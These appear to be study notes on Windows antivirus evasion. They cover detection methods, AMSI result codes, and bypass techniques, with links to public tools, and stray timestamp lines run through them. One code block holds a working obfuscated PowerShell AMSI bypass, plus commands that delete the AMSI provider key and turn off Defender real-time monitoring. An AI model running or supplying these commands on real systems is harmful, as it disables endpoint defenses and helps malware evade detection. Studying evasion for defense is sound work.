2021-08-23 01:13:54 +02:00
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# Antivirus Evasion
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* Existing types
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* On-Disk evasion
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* In-Memory evasion
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* Detection Methods
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* Static Detection -- Hash or String/Byte Matching
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* Dynamic / Heuristic / Behaviourial Detection -- predefined rules, run inside a sandbox
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2021-12-04 00:26:03 +01:00
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## Anti Malware Secure Interface
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* https://docs.microsoft.com/en-us/windows/win32/amsi/
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2021-08-23 01:13:54 +02:00
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2021-12-04 00:26:03 +01:00
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### Return Result Codes
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```
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AMSI_RESULT_CLEAN = 0
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AMSI_RESULT_NOT_DETECTED = 1
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AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
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AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
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AMSI_RESULT_DETECTED = 32768
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```
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### Bypass
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* Patching amsi.dll
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* Amsi ScanBuffer patch
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* Forcing errors
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* [Matt Graeber's Reflection](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/)
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* PowerShell downgrade
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* [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git)
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2021-12-04 00:26:03 +01:00
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* Practical example
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```sh
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[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
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Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
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Set-MpPreference -DisableRealtimeMonitoring $true
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```
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2021-08-23 01:13:54 +02:00
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2021-12-04 00:26:03 +01:00
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### Validate
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* Validate Obfuscation
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* [AMSITrigger Repo](https://github.com/RythmStick/AMSITrigger)
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2021-08-23 01:13:54 +02:00
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2021-12-04 00:26:03 +01:00
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## Links
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* [cmnatic](https://cmnatic.co.uk/)
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* [cmnatic's diss](https://resources.cmnatic.co.uk/Presentations/Dissertation/)
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* [s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/)
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* [amsi.fail](https://amsi.fail/)
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